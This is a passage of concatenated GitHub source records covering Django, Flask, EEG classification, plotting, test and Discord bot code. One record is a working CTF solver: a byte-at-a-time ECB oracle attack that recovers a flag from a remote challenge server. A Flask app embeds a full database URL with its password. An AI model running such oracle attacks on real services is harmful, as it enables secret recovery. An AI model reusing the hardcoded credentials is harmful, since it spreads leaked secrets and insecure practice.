imagen.name = str(ma.pk)+\"_\"+imagen.name\n ma.img_marca = imagen \n\n #ma.usuario = User.objects.get(pk=request.user.id)\n ma.save()\n \n data = {'tipo_accion': 'editar','correcto': True}\n\n elif action == 'eliminar':\n ma = Marca.objects.get(pk=request.POST['id'])\n if ma.img_marca.url != \"/media/img_defecto.jpg\":\n ma.img_marca.delete()\n\n ma.delete()\n data = {'tipo_accion': 'eliminar','correcto': True}\n else:\n data['error'] = 'Ha ocurrido un error'\n except Exception as e:\n data['error'] = str(e)\n data = {'tipo_accion': 'error','correcto': False, 'error': str(e)}\n\n return JsonResponse(data, safe=False)\n elif request.method == 'GET':\n print(\"Metodo normal\")\n return render(request, 'marca/crear_marca.html',{'titulo':'Inicio','entidad':'Creacion de marcas'})","repo_name":"pablo13233/distribuidora_venecia","sub_path":"apps/marca/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2728,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70970480106","text":"import json\nimport os\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport mne\n\nimport utils.global_configs as gcfg\nimport utils.eeg as eeg\nfrom utils.color_print import *\nimport utils.reaction_utils as ru\nimport utils.blink as blink\n\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.metrics import balanced_accuracy_score, accuracy_score\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.model_selection import ParameterGrid\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n\nfeature_filter = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25]\n\n\ndef fetch_eeg_characteristics(raw: mne.io.Raw, window_seconds: int):\n _, channel_names, channel_data = eeg.fetch_channels(raw)\n fp1, fp2 = channel_data[channel_names == \"Fp1\"][0], channel_data[channel_names == \"Fp2\"][0]\n fp_avg = np.clip((fp1 + fp2) / 2, -0.0002, 0.0002)\n\n # blink_detection_list = blink.square_pics_search(fp_avg)\n # blink_freq, times = blink.blinks_window_count(blink_detection_list, window_seconds=window_seconds)\n\n blink_detection_list = blink.detect_blinks(fp_avg)\n blink_freq, times = blink.blinks_window_count(blink_detection_list, window_seconds=window_seconds)\n\n blink_freq, times = np.array(blink_freq), np.array(times)\n _, _, _, _, _, react_range, q = ru.qual_plot_data(raw=raw, window=window_seconds // 60)\n eeg_band_fft = eeg.get_frequency_features(channel_names, channel_data, times=times)\n times = times / 500\n start_idx, end_idx = np.where(times > react_range[0])[0][0], np.where(times > react_range[-1])[0][0]\n blink_freq = blink_freq[start_idx:end_idx]\n times = times[start_idx:end_idx]\n for band in eeg_band_fft:\n eeg_band_fft[band] = eeg_band_fft[band][start_idx:end_idx]\n\n return blink_freq, eeg_band_fft, q, times\n\n\ndef fetch_file_features_labels(raw: mne.io.fiff.raw.Raw, window_seconds: int) -> tuple[list, list]:\n features, labels = [], []\n blink_freq, eeg_features, q, _ = fetch_eeg_characteristics(raw, window_seconds=window_seconds)\n\n for i in range(len(blink_freq)):\n x = [blink_freq[i]] + [eeg_features[feature][i] for feature in eeg_features]\n x = [x[j] for j in feature_filter]\n features.append(x)\n labels.append(q[i] // 0.25 if q[i] != 1.0 else 3.0)\n\n return features, labels\n\n\ndef train_test_formation(train_indices: list, test_idx: int,\n file_names: list,\n file_raw_data: dict, window_seconds: int) -> tuple[np.ndarray, np.ndarray, np.ndarray, np.ndarray]:\n scaler, le = StandardScaler(), LabelEncoder()\n x_train, y_train = [], []\n for train_idx in train_indices:\n file_name = file_names[train_idx]\n features, labels = fetch_file_features_labels(file_raw_data[file_name], window_seconds=window_seconds)\n x_train.extend(features)\n y_train.extend(labels)\n x_train, y_train = np.array(x_train), np.array(y_train)\n file_name = file_names[test_idx]\n x_test, y_test = fetch_file_features_labels(file_raw_data[file_name], window_seconds=window_seconds)\n x_test, y_test = np.array(x_test), np.array(y_test)\n # adding classes in train/test sets\n for label in np.unique(y_test):\n if label not in y_train:\n x_train, y_train = np.append(x_train, [x_test[y_test == label][0]], axis=0), np.append(y_train, label)\n for label in np.unique(y_train):\n if label not in y_test:\n x_test, y_test = np.append(x_test, [x_train[y_train == label][0]], axis=0), np.append(y_test, label)\n x_train, x_test = scaler.fit_transform(x_train), scaler.transform(x_test)\n y_train, y_test = le.fit_transform(y_train), le.transform(y_test)\n return x_train, x_test, y_train, y_test\n\n\nif __name__ == \"__main__\":\n # load subjects file paths\n with open('users.json') as json_file:\n subjects_data = json.load(json_file)\n subjects = [subject for subject in subjects_data]\n\n # load raw data from files\n raw_data = dict()\n for subject in subjects:\n print(f\"load files for {subject}\")\n for short_file_path in subjects_data[subject]:\n file_path = os.path.join(gcfg.PROJ_SORTED_PATH, short_file_path)\n print(f\"\\tloading file {file_path}...\")\n raw_data[file_path] = eeg.read_fif(file_path)\n print(f\"\\t{file_path} loaded\")\n\n grid = {'window_minutes': [1, 2, 3, 4, 5],\n 'model': ['lr', 'mlp']}\n param_grid = ParameterGrid(grid)\n\n results = []\n for params in param_grid:\n window_minutes = params['window_minutes']\n window_seconds = window_minutes * 60\n\n subjects_results = dict.fromkeys(subjects)\n for subject in subjects:\n file_names, short_file_names = [], []\n for short_file_path in subjects_data[subject]:\n short_file_names.append(short_file_path)\n file_path = os.path.join(gcfg.PROJ_SORTED_PATH, short_file_path)\n file_names.append(file_path)\n\n # file-fold validation\n fold_results = {'accuracy_score': [],\n 'balanced_accuracy_score': []}\n for test_idx in range(len(file_names)):\n train_indices = [train_idx for train_idx in range(len(file_names)) if train_idx != test_idx]\n\n print(\"train:\")\n for train_idx in train_indices:\n print(short_file_names[train_idx])\n print(\"test:\")\n printlg(f\"{window_minutes} minute(s)\")\n printlg(subject)\n printlg(short_file_names[test_idx])\n\n x_train, x_test, y_train, y_test = train_test_formation(train_indices, test_idx, file_names,\n raw_data, window_seconds)\n\n if params['model'] == 'lr':\n model_name = \"LogisticRegression\"\n print(f\"\\t{model_name}\")\n model = LogisticRegression(solver='liblinear', penalty='l1', C=1.0, class_weight='balanced',\n random_state=0).fit(x_train, y_train)\n y_pred = model.predict_proba(x_test)\n score = accuracy_score(y_test, y_pred.argmax(axis=1))\n fold_results['accuracy_score'].append(score)\n print(f\"\\t\\taccuracy_score: {score}\")\n balanced_score = balanced_accuracy_score(y_test, y_pred.argmax(axis=1))\n fold_results['balanced_accuracy_score'].append(balanced_score)\n print(f\"\\t\\tbalanced_accuracy_score: {balanced_score}\")\n elif params['model'] == 'mlp':\n model_name = \"MLPClassifier\"\n print(f\"\\t{model_name}\")\n model = MLPClassifier(hidden_layer_sizes=(20, 20),\n activation='tanh',\n random_state=1,\n max_iter=500,\n alpha=0.01,\n solver='sgd').fit(x_train, y_train)\n y_pred = model.predict_proba(x_test)\n score = accuracy_score(y_test, y_pred.argmax(axis=1))\n fold_results['accuracy_score'].append(score)\n print(f\"\\t\\taccuracy_score: {score}\")\n balanced_score = balanced_accuracy_score(y_test, y_pred.argmax(axis=1))\n fold_results['balanced_accuracy_score'].append(balanced_score)\n print(f\"\\t\\tbalanced_accuracy_score: {balanced_score}\")\n\n subjects_results[subject] = dict()\n subjects_results[subject]['accuracy_score'] = np.mean(fold_results['accuracy_score'])\n subjects_results[subject]['balanced_accuracy_score'] = np.mean(fold_results['balanced_accuracy_score'])\n\n results.append(subjects_results)\n\n for window_minutes in grid['window_minutes']:\n print(f\"{window_minutes} minute(s):\")\n accuracy_score_list = []\n balanced_accuracy_score_list = []\n for i in range(len(results)):\n if param_grid[i]['model'] == 'lr' and param_grid[i]['window_minutes'] == window_minutes:\n for subject in results[i]:\n print(f\"\\t{subject}:\")\n print(f\"\\t\\taccuracy_score - {results[i][subject]['accuracy_score']}\")\n print(f\"\\t\\tbalanced_accuracy_score - {results[i][subject]['balanced_accuracy_score']}\")\n\n accuracy_score_list.append(results[i][subject]['accuracy_score'])\n balanced_accuracy_score_list.append(results[i][subject]['balanced_accuracy_score'])\n printcn(f\"{window_minutes} minute(s):\")\n printcn(f\"\\tavg accuracy_score: {np.mean(accuracy_score_list)}\")\n printcn(f\"\\tavg balanced_accuracy_score: {np.mean(balanced_accuracy_score_list)}\")\n\n","repo_name":"shdaig/BlinkDetection","sub_path":"eeg/model/current_state_model_search.py","file_name":"current_state_model_search.py","file_ext":"py","file_size_in_byte":9118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6775040198","text":"from flask import Flask, render_template, request\r\nfrom flask_sqlalchemy import SQLAlchemy\r\nfrom email.mime.text import MIMEText\r\nimport smtplib\r\nfrom sqlalchemy.sql import func\r\n\r\napp = Flask(__name__)\r\n\r\n#app.config['SQLALCHEMY_DATABASE_URI']='postgresql://postgres:postgres123@localhost/height_collector'\r\napp.config['SQLALCHEMY_DATABASE_URI']='postgres://kyjgdhzmewfryb:47172a6e65895290c8283f032b0cfdc220a7db598daad97abb6f1d16447138a4@ec2-174-129-205-197.compute-1.amazonaws.com:5432/d676vjst4s1bu2?sslmode=require'\r\ndb=SQLAlchemy(app)\r\n\r\nclass Data(db.Model):\r\n __tablename__='data'\r\n id=db.Column(db.Integer,primary_key=True)\r\n email_=db.Column(db.String(120),unique=True)\r\n email_=db.Column(db.String(120),unique=True)\r\n height_=db.Column(db.Integer)\r\n\r\n def __init__(self,email_,height_):\r\n self.email_=email_\r\n self.height_=height_\r\n\r\n\r\n\r\ndef send_email(email,height,average_height,count):\r\n from_email='vulpeanuadrian1994@gmail.com'\r\n from_password=\"\" #!! need to update password!\r\n to_email=email\r\n\r\n subject=\"Height data\"\r\n message=\"Hey there, your height is %s.\" \\\r\n \"
Average height of all is %s.\" \\\r\n \"Calculate out of %s of people.
Thanks\"%(height,average_height,count)\r\n\r\n msg=MIMEText(message,'html')\r\n msg['Subject']=subject\r\n msg['To']=to_email\r\n msg['From']=from_email\r\n\r\n gmail=smtplib.SMTP('smtp.gmail.com',587)\r\n gmail.ehlo()\r\n gmail.starttls()\r\n gmail.login(from_email,from_password)\r\n gmail.send_message(msg)\r\n\r\n\r\n\r\n@app.route(\"/\")\r\ndef index():\r\n return render_template(\"index.html\")\r\n\r\n\r\n@app.route(\"/success\", methods=['POST'])\r\ndef success():\r\n if request.method == 'POST':\r\n email = request.form[\"email_name\"]\r\n height=request.form[\"height_name\"]\r\n if db.session.query(Data).filter(Data.email_==email).count()==0:\r\n data=Data(email,height)\r\n db.session.add(data)\r\n db.session.commit()\r\n average_height=db.session.query(func.avg(Data.height_)).scalar()\r\n average_height=round(average_height,1)\r\n count=db.session.query(Data.height_).count()\r\n send_email(email,height,average_height,count)\r\n return render_template(\"success.html\")\r\n\r\n return render_template('index.html',text=\"Email already exist's in our DB\")\r\n\r\nif __name__ == '__main__':\r\n app.debug = True\r\n app.run()\r\n","repo_name":"VulpeanuAdrian/DataCollectorSite","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16276063713","text":"# -*- coding: utf-8 -*-\n# @Time : 2023/3/27 下午11:48\n# @Author : lizheng\n# @FileName: demo1.py.py\n# @Software: PyCharm\nimport cv2\n\nimport matplotlib.pyplot as plt\n\no=cv2.imread(\"../images/boat.png\")\n\ncv2.imshow(\"original\",o)\n\nplt.hist(o.ravel(),256)\n\ncv2.waitKey()\n\ncv2.destroyAllWindows()","repo_name":"LiZheng1997/OpenCV_Practice","sub_path":"Chapters/Chapter13/demo1.py","file_name":"demo1.py","file_ext":"py","file_size_in_byte":296,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"15522409100","text":"import os\nimport json\nimport re\nimport random\nfrom sqlalchemy import Column, String, Integer\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_migrate import Migrate\nfrom sqlalchemy.orm import validates\n\n# Database URL from Heroku\ndatabase_path = os.environ.get(\"DATABASE_URL\")\n# Check to see if application is hosted on Heroku or local environment\nif database_path is not None:\n # Connected to Heroku\n database_path = os.environ.get(\"DATABASE_URL\")\nelse:\n database_name=\"casting_works\"\n database_path=\"postgres://{}/{}\".format('localhost:5432', database_name)\n\ndb = SQLAlchemy()\n\n'''\nsetup_db(app)\n binds a flask application and a SQLAlchemy service\n'''\ndef setup_db(app, database_path=database_path):\n app.config[\"SQLALCHEMY_DATABASE_URI\"] = database_path\n app.config[\"SQLALCHEMY_TRACK_MODIFICATIONS\"] = False\n db.app = app\n db.init_app(app)\n # db.drop_all()\n db.create_all()\n migrate = Migrate(app, db)\n\n'''\n Movies\n'''\nclass Movie(db.Model):\n __tablename__ = \"movies\"\n\n id = Column(Integer, primary_key=True)\n title = Column(db.String(120), nullable=False)\n release_date = Column(db.String(120), nullable=False)\n\n @validates('title','release_date')\n def validate_moives(self, keys, values):\n specialChars = re.compile('[@_!#$%^&*()<>/\\|}{~:]')\n\n if values == '':\n raise AssertionError('Cannot contain empty fields')\n\n elif specialChars.search(values) is not None:\n raise AssertionError('Cannot contain special characters')\n\n return values\n\n def __init__(self, title, release_date):\n self.title = title\n self.release_date = release_date\n\n def insert(self):\n db.session.add(self)\n db.session.commit()\n\n def delete(self):\n db.session.delete(self)\n db.session.commit()\n\n def update(self):\n db.session.commit()\n\n def short(self):\n return {\n 'id': self.id,\n 'title': self.title,\n 'release_date': self.release_date\n }\n\n def __repr__(self):\n return json.dumps(self.short())\n\n'''\n Actors\n'''\nclass Actor(db.Model):\n __tablename__ = \"actors\"\n\n id = Column(Integer, primary_key=True)\n name = Column(db.String(120), nullable=False)\n age = Column(db.Integer, nullable=False)\n gender = Column(db.String(120), nullable=False)\n\n @validates('name', 'age', 'gender')\n def validate_actors(self, keys, values):\n specialChars = re.compile('[@_!#$%^&*()<>/\\|}{~:]')\n\n if values == '':\n raise AssertionError('Cannot contain empty fields')\n\n elif specialChars.search('values') is not None:\n raise AssertionError('Cannot contain special characters')\n\n return values\n\n def __init__(self, name, age, gender):\n self.name = name\n self.age = age\n self.gender = gender\n\n def insert(self):\n db.session.add(self)\n db.session.commit()\n\n def delete(self):\n db.session.delete(self)\n db.session.commit()\n\n def update(self):\n db.session.commit()\n\n def short(self):\n return {\n 'id': self.id,\n 'name': self.name,\n 'age': self.age,\n 'gender': self.gender\n }\n\n def __repr__(self):\n return json.dumps(self.short())","repo_name":"marcoantonio224/casting_works_agency","sub_path":"backend/database/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3073,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30496345213","text":"#it is uesd to print the repeate value && give condition\r\ni=1\r\nwhile i<=10:\r\n print(i)\r\n i=i+1\r\nprint(\"loop done\")\r\na=int(input(\"enter 1\"))\r\nb=int(input(\"enter 2\"))\r\nif (a<=10):\r\n print(\"y\"+str(a))\r\nelse:\r\n i=1\r\n while i<=b:\r\n print (i)\r\n i=i+1\r\n print(\"done\")\r\n","repo_name":"SelvaGeetha/Python_Series","sub_path":"loop.py","file_name":"loop.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3771394272","text":"from django.shortcuts import render, redirect, reverse\r\nfrom django.http import JsonResponse\r\nfrom user_authentication import user_decorator\r\nfrom .models import *\r\n\r\n\r\n@user_decorator.login_status\r\ndef cart(request):\r\n user_id = request.session['user_id']\r\n cart_records = Cart.objects.filter(user_id=user_id).order_by('-id')\r\n\r\n context = {\r\n 'title': '购物车',\r\n 'page_name': 1,\r\n 'cart_records': cart_records,\r\n }\r\n return render(request, 'cart/cart.html', context)\r\n\r\n\r\n@user_decorator.login_status\r\ndef add_to_cart(request, goods_id, count):\r\n user_id = request.session['user_id']\r\n # 查询购物车里是否有此用户的此商品的添加记录\r\n cart_record = Cart.objects.filter(user_id=user_id, goods_id=goods_id)\r\n if len(cart_record) >= 1: # 修改\r\n cart_to_add = cart_record[0]\r\n cart_to_add.count = cart_to_add.count + count\r\n cart_to_add.save()\r\n else: # 新建\r\n cart_to_add = Cart()\r\n cart_to_add.user_id = user_id\r\n cart_to_add.goods_id = goods_id\r\n cart_to_add.count = count\r\n cart_to_add.save()\r\n\r\n if request.is_ajax():\r\n count = Cart.objects.filter(user_id=request.session['user_id']).count() # 车里有几种商品\r\n return JsonResponse({'count': count})\r\n else:\r\n return redirect(reverse('cart_index'))\r\n\r\n\r\n@user_decorator.login_status\r\ndef edit(request, cart_id, count):\r\n try:\r\n cart = Cart.objects.get(pk=cart_id)\r\n cart.count = count\r\n cart.save()\r\n data = {'flag': 0}\r\n except Exception as e:\r\n data = {'flag': count}\r\n return JsonResponse(data)\r\n\r\n\r\n@user_decorator.login_status\r\ndef delete(request, cart_id):\r\n try:\r\n cart = Cart.objects.get(pk=cart_id)\r\n cart.delete()\r\n data = {'flag': 1}\r\n except Exception as e:\r\n data = {'flag': 0}\r\n return JsonResponse(data)\r\n","repo_name":"SadamaZero/django_shoponline","sub_path":"cart/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34539746239","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.show_bookings, name='show_bookings'),\n path('car_booking/',views.booking,name='booking'),\n path('show_bookings//', views.show_bookings, name='show_bookings_number'),\n path('car_return/', views.car_return, name='car_return'),\n path('add_category/', views.AddCarCategory.as_view(), name='create_booking'),\n]","repo_name":"nrjp/Car_Rent","sub_path":"booking/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25579724608","text":"''' Metro WebUIs\nThis file inherits from APWebUI and override some of its functions (actually most of its functions)\nto enable accesibilty to Metro's webUI.\n\n'''\nfrom RuckusAutoTest.components.APWebUI import APWebUI\n\n\nclass MF2211WebUI(APWebUI):\n resource_file = 'RuckusAutoTest.components.resources.MetroWebUIResource'\n def __init__ (self, selenium_mgr, browser_type, ip_addr, config, https = True):\n APWebUI.__init__(self, selenium_mgr, browser_type, ip_addr, config, https = True)\n\n\nclass MF7211WebUI(APWebUI):\n resource_file = 'RuckusAutoTest.components.resources.MetroWebUIResource'#add new resource file for Metro\n\n def __init__(self, selenium_mgr, browser_type, ip_addr, config, https = True):\n APWebUI.__init__(self, selenium_mgr, browser_type, ip_addr, config, https = True)\n\n self.STATUS_SYSTEM = self.info['status_system_link']\n self.STATUS_WIRELESS = self.info['status_wireless_link']\n self.STATUS_COMMON = self.info['status_common']\n self.STATUS_WAN = self.info['status_wan']\n self.STATUS_WLAN_1 = self.info['status_wlan1']\n self.STATUS_WLAN_2 = self.info['status_wlan2']\n self.CONFIG_SYSTEM = self.info['config_system_link']\n self.CONFIG_WIRELESS = self.info['config_wireless_link']\n self.CONFIG_COMMON = self.info['config_common']\n self.CONFIG_WAN = self.info['config_wan']\n self.CONFIG_WLAN_1 = self.info['config_wlan1']\n self.CONFIG_WLAN_2 = self.info['config_wlan2']\n self.CONFIG_WIZARD = self.info['config_wizard_link']\n self.CONFIG_ACCESS_CONTROLS = self.info['config_acl_link']\n self.CONFIG_ACL_1 = self.info['acl_wlan1']\n self.CONFIG_ACL_2 = self.info['acl_wlan2']\n self.CONFIG_PORT_FWD = self.info['config_port_fwd_link']","repo_name":"jichunwei/MyGitHub-1","sub_path":"saigon/rat/RuckusAutoTest/components/MetroWebUIs.py","file_name":"MetroWebUIs.py","file_ext":"py","file_size_in_byte":1855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37576600217","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn.metrics import confusion_matrix, precision_recall_curve\nimport itertools\n\n\ndef plot_overlapping_histograms(df, col, hue, size=7, aspect=1.5, \n title=None, bins=None):\n g = sns.FacetGrid(df, hue=hue, size=size, aspect=aspect)\n g = g.map(plt.hist, col, density=True, alpha=0.35, bins=bins)\n g.add_legend()\n g.fig.suptitle(title)\n \n \ndef countplot_independent_ylims(df, col, hue, size=5, hue_order=None, title=None):\n g = sns.FacetGrid(df, col=hue, sharey=False, size=size)\n g = g.map(sns.countplot, col, order=hue_order)\n plt.subplots_adjust(top=0.85)\n g.fig.suptitle(title)\n\n\ndef plot_1d_corr_heatmap(corr: pd.Series, annot=True, fmt='.2f', \n cmap='coolwarm'):\n max_corr = corr.abs().max()\n heatmap_df = pd.DataFrame(corr.sort_values(ascending=False))\n plt.subplots(figsize=(1.5, len(corr)//3.5))\n\n sns.heatmap(heatmap_df, annot=annot, fmt=fmt, cmap=cmap,\n center=0, vmin=-max_corr, vmax=max_corr)\n\n\n# adapted from http://scikit-learn.org/stable/auto_examples/model_selection/plot_confusion_matrix.html\ndef plot_confusion_matrix(y_test, y_pred, \n class_names,\n title='Confusion matrix',\n cmap=plt.cm.Blues):\n \"\"\"\n This function prints and plots the confusion matrix.\n \"\"\"\n cm = confusion_matrix(y_test, y_pred)\n\n plt.imshow(cm, interpolation='nearest', cmap=cmap)\n plt.title(title)\n plt.colorbar()\n tick_marks = np.arange(len(class_names))\n plt.xticks(tick_marks, class_names, rotation=45)\n plt.yticks(tick_marks, class_names)\n\n fmt = 'd'\n thresh = cm.max() / 2.\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n plt.text(j, i, format(cm[i, j], fmt),\n horizontalalignment=\"center\",\n color=\"white\" if cm[i, j] > thresh else \"black\")\n\n plt.tight_layout()\n plt.ylabel('True label')\n plt.xlabel('Predicted label')\n\n\ndef precision_recall(y_test, y_score) -> pd.DataFrame:\n \"\"\"Imprime a curva precision-recall e retorna os dados.\n \n Parâmetros:\n - y_test: os valores verdadeiros.\n - y_score: os scores calculados pelo modelo.\n \n Retorno:\n - um DataFrame contendo precisão, recall e f1-score para cada \n threshold calculado.\n \"\"\"\n precision, recall, thresholds = _precision_recall_plot(y_test, y_score)\n return _precision_recall_results(precision, recall, thresholds)\n\n\n# adapted from http://scikit-learn.org/stable/auto_examples/model_selection/plot_precision_recall.html\ndef _precision_recall_plot(y_test, y_score):\n precision, recall, thresholds = precision_recall_curve(y_test, y_score)\n\n plt.step(recall, precision, color='b', alpha=0.2,\n where='post')\n plt.fill_between(recall, precision, step='post', alpha=0.2,\n color='b')\n\n plt.xlabel('Recall')\n plt.ylabel('Precision')\n plt.ylim([0.0, 1.05])\n plt.xlim([0.0, 1.0])\n plt.title('Precision-Recall curve')\n \n return precision, recall, thresholds\n\n\ndef _precision_recall_results(precision, recall, thresholds):\n results = pd.DataFrame(data=[precision, recall, thresholds],\n index=['precision', 'recall', 'threshold']).T\n\n results['f1_score'] = (2 * (results['precision'] * results['recall']) \n / (results['precision'] + results['recall']))\n \n return results\n","repo_name":"somostera/tera-dsc-abr2018","sub_path":"23-project-class-imbalance/notebooks/plotting_utils.py","file_name":"plotting_utils.py","file_ext":"py","file_size_in_byte":3589,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"37"} +{"seq_id":"16461802832","text":"from library.logging import colorize_json, cm, color\n\nimport logging\nlog = logging.getLogger(__name__)\n\n\ndef assert_equals(name, expected, actual):\n if actual != expected:\n log.error(f'''Assertion error for {cm(name, color=color.Cyan)}:\n\\texpected:\\t{cm(repr(expected), color=color.Red)}\n\\tactual:\\t\\t{cm(repr(actual), color=color.Green)}\n''')\n raise AssertionError(f'{actual} != {expected}')\n","repo_name":"burmisha/latex","sub_path":"library/util/asserts.py","file_name":"asserts.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"19221667512","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport matplotlib\n# Fixing random state for reproducibility\n# 設定亂數種子\nnp.random.seed(20200608)\n\nx = np.arange(0.0, 50.0, 2.0)\n# x = 產生值若為浮點(非整數)\n# np.random.rand(整數int)\n# \t\t\t└ 則以 *x.shape\ny = x ** 1.3 + np.random.rand(*x.shape) * 30.0\ns = np.random.rand(*x.shape) * 800 +500\n# scatter 先代入數據資料 x,y,s,c=\"顏色\",alpha=半透明,marker=\n# plt.scatter(x, y, s, c=\"r\", alpha=0.5, marker=r\"$\\clubsuit$\",\\\nplt.scatter(x, y, s, c=\"g\", alpha=0.5, marker=r\"$\\star$\",\\\n label=\"Luck\") #顯示文字\nplt.xlabel(\"Leprechauns\") #顯示文字\nplt.ylabel(\"Gold\") #顯示文字\nplt.legend(loc=2) #小標題顯示位置\nplt.show()\n","repo_name":"Arwen0905/Python_Test","sub_path":"0608/a0608_12_幸運草圖樣_matplotlib模組試用.py","file_name":"a0608_12_幸運草圖樣_matplotlib模組試用.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35459104851","text":"from pwn import *\nfrom base64 import b64decode\n\np = remote('bob.challs.olicyber.it', 10602)\n\nflag = b''\n\nblock_size = 16\n\nprintable = b'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&\\'()*+,-./:;<=>?@[\\\\]^_`{|}~ '\n\nwhile True:\n msg = b'a' * (block_size - len('Bob: '))\n\n flag_send = flag\n if len(flag_send) >= block_size:\n flag_send = flag_send[-block_size + 1:]\n #print(flag_send)\n #print(len(flag_send))\n pad = block_size - len(flag_send) - 1\n for c in printable:\n msg += b'a' * pad + flag_send + bytes([c])\n\n if len(flag) < block_size:\n msg += b'a' * (pad)\n else:\n #print(len(flag) % block_size)\n msg += b'a' * (block_size - len(flag) % block_size - 1)\n\n #mssg = b'Bob: ' + msg\n #print([mssg[i:i+block_size] for i in range(0, len(mssg), block_size)])\n\n p.sendline(msg)\n p.sendline(b'1')\n\n p.recvuntil('messaggio!\\n')\n enc = p.recvline().strip()\n enc = b64decode(enc)\n blocks = [enc[i:i+block_size] for i in range(0, len(enc), block_size)]\n blocks = blocks[1:]\n to_check = blocks[len(printable) + len(flag) // block_size]\n for i in range(len(printable)):\n if to_check == blocks[i]:\n flag += printable[i].to_bytes(1, 'big')\n print(flag)\n break\n else:\n p.close()\n print('TRANSMISSION ENDED! -------')\n flag = flag.decode()\n flag = flag.split('}')[0] + '}'\n flag = 'flag{' + flag.split('flag{')[1]\n print(flag)\n break\n","repo_name":"SamueleFacenda/Python-Scripts","sub_path":"olicyber/crypto/memorybob.py","file_name":"memorybob.py","file_ext":"py","file_size_in_byte":1533,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"18997232898","text":"\"\"\"Discord cog for all Wavelink events\"\"\"\nimport logging as logger\n\nimport wavelink\nfrom discord.ext import commands\n\nfrom src.credentials.loader import EnvLoader\nfrom src.utils.responses import Responses\n\n\nclass MusicEvents(commands.Cog):\n \"\"\"\n Cog that triggers on Music events for.\n \"\"\"\n\n bot: commands.Bot\n\n def __init__(self, bot) -> None:\n self.bot = bot\n self.responses = Responses()\n self.env = EnvLoader.load_env()\n\n ### Lavalink Events\n @commands.Cog.listener()\n async def on_wavelink_node_ready(self, node: wavelink.Node):\n \"\"\"\n Fires when the lavalink server is connected\n \"\"\"\n logger.info(\"Node: <{%s}> is ready!\", node.id)\n logger.info(\"Node status = %s\", node.status)\n\n @commands.Cog.listener()\n async def on_wavelink_track_end(self, payload):\n \"\"\"\n Fires when a track ends.\n \"\"\"\n\n player = payload.player\n ctx = payload.player.reply ## Retrieve the guild's channel id.\n\n logger.info(\"on_wavelink_track_end\")\n\n # MOVED TO \"VOICE_STATE_UPDATE\"\n\n # if all(\n # member.bot for member in player.channel.members\n # ): ## If there are no members in the vc, leave.\n # player.queue.clear() ## Clear the queue.\n # await player.stop() ## Stop the currently playing track.\n # await player.disconnect() ## Leave the VC.\n # await ctx.send(embed=await self.music.left_due_to_inactivity())\n\n if (\n not player.queue.is_empty and not player.loop and not player.queue_loop\n ): ## If the queue is not empty and the loop is disabled, play the next track.\n next_track = await player.queue.get_wait() ## Retrieve the queue.\n await player.play(next_track)\n\n elif (\n player.loop\n ): ## If the loop is enabled, replay the track using the existing `looped_track` variable.\n await player.play(player.looped_track)\n\n elif (\n player.queue_loop\n ): ## If the queue loop is enabled, replay the track using the existing `looped_track` var.\n player.queue.put(\n player.queue_looped_track\n ) ## Add the current track back to the queue.\n next_track = await player.queue.get_wait() ## Retrieve the queue.\n await player.play(next_track)\n\n else: ## Otherwise, stop the track.\n await player.stop()\n await ctx.send(\n embed=await self.responses.no_tracks_in_queue(), delete_after=15\n ) ## Let the user know that there are no more tracks in the queue.\n\n logging_channel = self.bot.get_channel(\n int(self.env.logging_id)\n ) ## Retrieve the logging channel.\n logger.info(\"Song ended because of reason: %s\", payload.reason)\n await logging_channel.send(\n embed=await self.responses.log_track_finished(payload.track, player.guild)\n ) ## Send the log embed.\n\n @commands.Cog.listener()\n async def on_wavelink_track_start(\n self, payload: wavelink.payloads.TrackEventPayload\n ):\n \"\"\"\n Fires when a track starts.\n \"\"\"\n logger.info(\"Event: on_wavelink_track_start\")\n\n ctx = payload.player.reply ## Retrieve the guild's channel id.\n\n if (\n payload.player.queue_loop\n ): ## If the queue loop is enabled, assign queue_looped_track to the current track.\n payload.player.queue_looped_track = payload.track\n\n embed = await self.responses.display_track(\n payload.track, payload.player.guild, False, False\n 